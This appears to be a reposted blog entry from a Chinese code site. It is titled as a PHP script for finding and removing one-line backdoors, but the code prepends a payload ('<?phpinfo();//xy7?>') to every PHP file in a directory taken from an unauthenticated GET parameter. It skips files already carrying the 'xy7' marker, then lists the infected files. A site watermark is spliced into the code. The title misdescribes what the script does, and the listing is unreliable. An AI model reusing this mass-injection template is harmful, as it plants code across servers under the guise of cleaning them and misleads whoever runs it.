• 欢迎访问搞代码网站,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站!
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏搞代码吧

用php实现批量查询清除一句话后门的代码_php技巧

php 搞代码 4年前 (2022-01-26) 19次浏览 已收录 0个评论

总是忘记一句话放到哪个文件里去了,直接全部干掉…

<?//xy7  <BR>if (!isset($dir) or empty($dir)) {  <BR>$dir=str_replace('\\','/',dirname(__FILE__));  <BR>echo "<font color="#00688B">".$dir."</font>";  <BR><strong style="color:transparent">本&文来源gao@daima#com搞(%代@#码网@</strong><textarea>搞gaodaima代码</textarea>} else {  <BR>$dir=$_GET['dir'];  <BR>echo "<font color="#00688B">".$dir."</font>";  <BR>}  <BR>$evilcode="<?phpinfo();//xy7?>";  <BR>$testdir = opendir($dir);  <BR>while($filea = @readdir($testdir)){  <BR>if(strstr($filea, '.php')){  <BR>$fp = @fopen($filea, 'r+');  <BR>if (!strstr(@fread($fp, 20), 'xy7')){  <BR>rewind($fp);  <BR>$old = @fread($fp, filesize($filea));  <BR>rewind($fp);  <BR>fwrite($fp, $evilcode . $old);  <BR>}  <BR>fclose($fp);  <BR>}  <BR>}  <BR>closedir($testdir);  <BR>?>  <BR><hr>  <BR><table width="100%" border="0" cellpadding="3" cellspacing="1">  <BR><tr>  <BR><td><b>被X的文件</b></td>  <BR><td><b>时间</b></td>  <BR><td><b>大小</b></td>  <BR></tr>  <BR><?php  <BR>$dirs=@opendir($dir);  <BR>while ($file=@readdir($dirs)) {  <BR>if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  <BR>{$b="$dir/$file";  <BR>$a=@is_dir($b);  <BR>if($a=="0"){  <BR>$size=@filesize("$dir/$file");  <BR>$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  <BR>echo "<tr>\n";  <BR>echo "<td>$file</td>\n";  <BR>echo " <td>$lastsave</td>\n";  <BR>echo " <td>$size Bytes</td>\n";  <BR>}  <BR>}  <BR>}  <BR>@closedir($dirs);  <BR>?>  <BR></table> <BR>

codz by xuanmumu


搞代码网(gaodaima.com)提供的所有资源部分来自互联网,如果有侵犯您的版权或其他权益,请说明详细缘由并提供版权或权益证明然后发送到邮箱[email protected],我们会在看到邮件的第一时间内为您处理,或直接联系QQ:872152909。本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:用php实现批量查询清除一句话后门的代码_php技巧
喜欢 (0)
[搞代码]
分享 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址